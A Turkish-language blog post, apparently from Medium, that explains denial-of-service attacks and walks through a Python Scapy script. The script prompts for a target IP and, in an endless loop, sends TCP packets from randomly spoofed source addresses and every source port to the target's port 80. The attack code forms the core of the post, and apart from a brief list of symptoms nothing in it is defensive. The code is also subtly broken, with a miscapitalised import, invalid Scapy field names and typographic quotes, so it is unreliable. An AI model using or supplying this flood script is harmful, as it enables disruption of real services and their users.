Python ile DoS Saldırısı

Berkan Türel
2 min readNov 16, 2021

--

Bu yazımda Dos saldırılarını anlatıp bunların Python’da nasıl kodlanacağını göstereceğim.

Dos (Denial of Service) saldırısı, bir ağ kaynağını kullanılamaz hale getirme girişimidir. Bu saldırı türü internete bağlı bir bilgisayarın sunmuş olduğu hizmetleri aksatmak için yapılan oldukça popüler bir saldırı türüdür. Bu siber saldırı hedef makinenin gereksiz istekler ile aşırı yüklenmesini ve doluluktan kaynaklı asıl kullanıcılar tarafından ulaşılmamasını hedefler.

Photo by Markus Spiske on Unsplash

DoS saldırıları genelde bankalar, kredi kartı ödeme ağ geçitleri gibi kritik yerleri hedefler. İnternet tarihinin en eski saldırı türlerinden biridir ve oldukça etkilidir. Bu saldırılara karşı henüz kesin bir çözüm üretilmemiştir.

DoS saldırısının Belirtileri:

  • Yavaş ağ performansı
  • Belirli web sitelerinin kullanılamaması
  • Herhangi bir web sitesine erişememe
  • Herhangi bir internet hizmetine uzun süreli erişim reddi

Python Uygulaması

Oluşturacağımız python uygulamasında çok sayıda paket birden çok IP adresi kullanılarak ve birden fazla port ile web sunucuna gönderilecek. Bu kodlamada Scapy kütüphanesini kullanacağım. Scapy paketler oluşturup bunları iletmemizi sağlayan açık kaynak kodlu bir python kütüphanesidir.

import Random
from scapy.all import *

Scapy kütüphanesi dışında random IP adresleri üretmek için de random kütüphanesini ekliyerek başlıyoruz.

hedef_IP = input(“Hedef IP adresini giriniz”)

Saldırıyı gerçekleştirmek için hedef IP adresine ihtiyacımız var. Bunu input ile kullanıcıdan alıyoruz.

while True:
ip1 = str(random.randint(1,254))
ip2 = str(random.randint(1,254))
ip3 = str(random.randint(1,254))
ip4 = str(random.randint(1,254))
nokta = “.”
kaynak_IP = ip1+ nokta + ip2+ nokta + ip3+ nokta + ip4

Random bir IP adresi oluşturup bunu kaynak IP adını verdiğimiz değişkene atıyoruz.

for port in range(1, 65535):
IP1 = IP(source_IP = kaynak_IP, destination = hedef_IP)
TCP1 = TCP(srcport = port, dstport = 80)
paket = IP1 / TCP1
send(paket,inter = .001)

For döngüsü ile port adını verdiğimiz değişkene değer veriyoruz. Toplam 65535 port olduğu için dğişkenimize 1 ile 65535 arasındaki sayıları verdik. Scapy kütüphanesiyle paketimizi oluşturmak için gerekli değerleri girmemiz gerekiyor.

Kaynak ip, hedef ip, port ve son olarak hedef portu girdikten sonra paketimizi oluşturuyoruz. Daha sonra bu paketi send ile her bir paket arasında 0.001 saniye olacak şekilde gönderiyoruz.

Python ile DoS saldırısının nasıl yapıldığını anlattım. Umarım yazım sizlere faydalı olmuştur.

--

--

Berkan Türel
Berkan Türel

No responses yet